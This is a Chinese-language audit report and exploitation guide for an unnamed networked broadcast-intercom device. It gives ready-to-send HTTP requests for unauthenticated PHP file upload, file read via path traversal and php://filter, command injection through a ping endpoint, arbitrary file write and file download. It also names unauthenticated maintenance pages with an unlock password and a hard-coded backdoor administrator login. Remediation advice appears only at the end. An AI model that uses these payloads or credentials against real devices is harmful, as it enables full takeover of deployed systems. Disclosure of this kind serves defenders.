某网络广播对讲设备审计
字数 1026 2025-08-29 08:30:36
网络广播对讲设备安全审计报告与漏洞利用指南
0x00 系统概述
该网络广播对讲设备系统存在多处严重安全漏洞,包括但不限于:
- 前台任意文件上传
- 前台任意文件读取
- 前台任意命令执行
- 前台任意文件写入
- 前台任意文件下载
- 未授权访问
- 后门账户
0x01 前台任意文件上传漏洞
上传点1: /upload/my_parser.php
漏洞描述:无需认证即可上传任意文件
利用方法:
POST /upload/my_parser.php HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTj3WLQhN3ZSs0CAg
------WebKitFormBoundaryAgwuKUMd2jB55NEm
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryAgwuKUMd2jB55NEm--
上传路径:/upload/files/info.php
上传点2: /php/addscenedata.php
利用方法:
POST /php/addscenedata.php HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRdOoAbqBRCt5Bgzj
------WebKitFormBoundaryAgwuKUMd2jB55NEm
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryAgwuKUMd2jB55NEm--
上传路径:/images/scene/info.php
简化上传方式:直接访问/upload/upload.html进行上传
0x02 前台任意文件读取漏洞
读取点1: /php/getjson.php
利用方法:
POST /php/getjson.php HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
jsondata[filename]=../php/test.php
读取点2: /php/rj_get_token.php
基本利用:
POST /php/rj_get_token.php HTTP/1.1
jsondata[url]=test.php
使用PHP伪协议读取文件:
POST /php/rj_get_token.php HTTP/1.1
jsondata[url]=php://filter/read=convert.base64-encode/resource=backup.php
0x03 前台任意命令执行漏洞
漏洞位置:/php/ping.php
利用方法:
POST /php/ping.php HTTP/1.1
jsondata[type]=0&jsondata[ip]=|id
0x04 前台任意文件写入漏洞
漏洞位置:/php/uploadjson.php
利用方法:
POST /php/uploadjson.php HTTP/1.1
jsondata[filename]=../ppp.php&jsondata[data]=123
0x05 前台任意文件下载漏洞
漏洞位置:/php/exportrecord.php
利用方法:
GET /php/exportrecord.php?downname=test.php
0x06 未授权访问漏洞
系统包含多个未授权访问接口:
-
智慧xx系统:
/prison/index.html -
系统维护界面:
/html/system.html -
厂家维护界面:
/html/factory.html解锁密码:
Rdc070#
0x07 后门账户
后门账户信息:
- 用户名:
administrator - 密码:
800823
验证逻辑(位于/php/login.php):
if('800823' == $pass && 'administrator' == $user) {
// 授予管理员权限
}
前端处理逻辑(位于/js/index.js):
if(user == "administrator" && passwd == "800823") {
isencrypted = "0"; // 不加密直接验证
} else {
// 其他账户密码需要base64编码并反转
}
0x08 总结与修复建议
漏洞总结
- 系统大部分接口未做权限验证,无需登录即可访问
- 存在多个文件操作漏洞,可导致系统完全沦陷
- 内置后门账户,攻击者可轻易获取管理员权限
修复建议
- 对所有接口添加身份验证机制
- 修复文件上传功能,限制文件类型和路径
- 移除后门账户
- 对用户输入进行严格过滤
- 禁用危险函数如
system()等 - 限制文件操作路径,防止目录穿越
- 更新系统密码策略,禁用硬编码密码
攻击者防御措施
- 修改默认密码和后门账户密码
- 限制访问
/upload/、/php/等敏感目录 - 监控系统日志,查找可疑文件上传和命令执行行为
- 考虑升级到最新安全版本或更换更安全的系统